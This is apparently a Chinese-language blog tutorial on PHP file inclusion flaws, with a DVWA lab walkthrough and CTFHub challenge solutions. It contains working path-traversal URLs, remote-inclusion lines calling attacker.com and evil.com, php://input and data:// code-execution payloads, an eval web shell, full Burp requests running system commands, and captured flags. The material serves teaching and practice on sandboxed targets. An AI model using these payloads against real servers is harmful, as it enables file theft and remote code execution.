时间:2026-03-07 18:50
人气:
作者:admin
文件包含漏洞(File Inclusion) 是一种 Web 安全漏洞,通常出现在 PHP程序把用户输入作为文件路径直接包含执行 的情况下。
简单理解:
程序原本想包含服务器上的文件,但攻击者可以控制路径,从而加载任意文件。
PHP 代码示例:
<?php
$page = $_GET['page'];
include($page);
?>
如果访问:
http://example.com/index.php?page=home.php
程序会包含:
home.php
但是攻击者可以改成:
http://example.com/index.php?page=../../../../etc/passwd
服务器就会尝试读取:
/etc/passwd
这样就可能 读取敏感文件或执行恶意代码。
Local File Inclusion
包含服务器本地文件,例如:
?page=../../../../etc/passwd
攻击效果:
Remote File Inclusion
如果服务器开启:
allow_url_include = On
攻击者可以包含远程恶意代码:
?page=http://attacker.com/shell.txt
服务器会执行远程代码。
在 PHP 中,一些 文件加载函数 如果参数可控,就可能产生文件包含漏洞。
主要有下面几个:
include("file.php");
作用:
包含并执行指定文件。
特点:
示例:
include($_GET['page']);
require("file.php");
作用:
和 include 一样。
区别:
include_once("file.php");
特点:
同一个文件 只包含一次
require_once("file.php");
同样:
<?php
$file = $_GET['file'];
include("pages/".$file);
?>
访问:
?page=../../../../etc/passwd
PHP伪协议 是 PHP 提供的一种 特殊资源访问方式。
利用伪协议,攻击者可以:
常见用于 文件包含漏洞利用。
最常见。
作用:
读取文件并进行 编码处理。
常见用途:
读取PHP源码
示例:
php://filter/convert.base64-encode/resource=index.php
如果存在:
include($_GET['file']);
访问:
?file=php://filter/convert.base64-encode/resource=index.php
返回:base64编码源码
再解码即可看到源码。
作用:
读取 HTTP POST 原始数据
可以实现 文件包含执行代码。
示例:
漏洞代码:
include($_GET['file']);
请求:
POST /index.php?file=php://input
POST内容:
<?php phpinfo(); ?>
服务器就会执行。
允许直接包含 数据流代码
示例:
?file=data://text/plain,<?php phpinfo(); ?>
如果允许 URL include:
allow_url_include = On
就可以执行代码。
读取本地文件
file:///etc/passwd
示例:
?file=file:///etc/passwd
攻击者通常会:
1️⃣ 目录遍历
../../../../etc/passwd
2️⃣ 读取源码
php://filter
3️⃣ 日志包含 getshell
例如:
/var/log/apache2/access.log
4️⃣ 利用伪协议执行代码
php://input
data://
如下图,点击连接file1.php。可以发现url为:

http://172.16.83.131:8090/vulnerabilities/fi/?page=file1.php
page参数传入了一个php文件,可以改变这个参数的值。
将url改成:(本地文件包含)
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd
访问结果页面如下:

将url改成:(模仿远程文件包含)
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/FI.php
FI.php文件的内容如下:
<?php phpinfo(); ?>
访问结果页面如下:

源码如下:可以看出比low level多了几个替换
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
这个url还能用:
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd
页面显示如下:

源码如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
page参数开头必须是file;page参数不能是include.php。
这个url还能用:
http://172.16.83.131:8090/vulnerabilities/fi/?page=file:///etc/passwd
页面显示如下:

网站连接:https://www.ctfhub.com/#/skilltree,选择Web > RCE.
页面选择如下:

打开链接后,页面显示如下:

点击shell有如下内容:
url为http://challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800/shell.txt
<?php eval($_REQUEST['ctfhub']);?>
查看界面中的代码,发现可以使用参数file来包含文件shell.txt,访问url: http://challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800?file=shell.txt
通过Burp Suite抓包得到:
GET /?file=shell.txt HTTP/1.1
Host: challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
修改为
POST /?file=shell.txt HTTP/1.1
Host: challenge-51afbc69a3ed8e01.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
ctfhub=system("ls /");
一定要加入Content-Type: application/x-www-form-urlencoded,这样system("ls")才能作为代码去执行。(HackBar工具会自动加入这个Content-Type字段)
Content-Type字段是告诉服务器传来的数据是什么格式(目前使用的是键值对)
Response数据包如下:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 09:49:45 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 150
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
可以发现有flag,于是修改ctfhub值为:system("cat /flag")
Response返回如下:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 09:50:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 93
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
ctfhub{add05dcc7473b6963349cdf0}
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
得到flag为ctfhub{add05dcc7473b6963349cdf0}. 通过.
打开链接,显示的界面如下:

查看代码可以发现,这次的参数也是file,但是对这个参数做了一些要求:必须使用php伪协议。
因此考虑url为
http://challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800?file=php://input
通过Burp Suite抓包得到:
GET /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
修改为:
POST /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-httpd-php
Content-Length: 25
<?php system("ls /");?>
Response数据包为:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 10:22:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 176
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
bin
boot
dev
etc
flag_24788
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
查看flag:
POST /?file=php://input HTTP/1.1
Host: challenge-64b9e4ff6c1191b0.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-httpd-php
Content-Length: 25
<?php system("cat /flag_24788");?>
Response数据包为:
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Sat, 07 Mar 2026 10:26:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 113
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
ctfhub{0768a9bb85e7ac1355a64e55}
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
得到flag为ctfhub{0768a9bb85e7ac1355a64e55}. 通过.
这一关使用file=php://input就能过,通过file添加外部php文件也能过。
点击phpinfo,查看到关键信息:
![]()
1️⃣ allow_url_fopen
允许 PHP 的文件函数通过 URL 访问远程资源。
例如这些函数可以读取远程文件:
fopen()file_get_contents()readfile()copy()示例:
file_get_contents("http://evil.com/shell.txt");
如果开启:
allow_url_fopen = On
攻击者可以让程序读取远程内容,例如:
http://victim.com/page.php?file=http://evil.com/test.txt
但这只是读取内容,不一定会执行代码。
2️⃣ allow_url_include
允许 include() / require() 包含远程 URL 文件并执行。
例如:
include("http://evil.com/shell.php");
如果开启:
allow_url_include = On
远程 PHP 文件会被当作 PHP 代码执行。
略
Apple Macbook Pro M1-Pro (32G) macOS Sonoma 14.8.4
ubuntu作为靶机
172.16.83.131kali作为攻击机
172.16.83.130ubuntu中安装docker靶场:kaakaww/dvwa-docker:latest
# 拉取docker镜像
sudo docker pull kaakaww/dvwa-docker
# 为镜像创建容器,并运行
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker # DVWA 端口设为 8090
???? 不一定对,如有错误,欢迎指出????。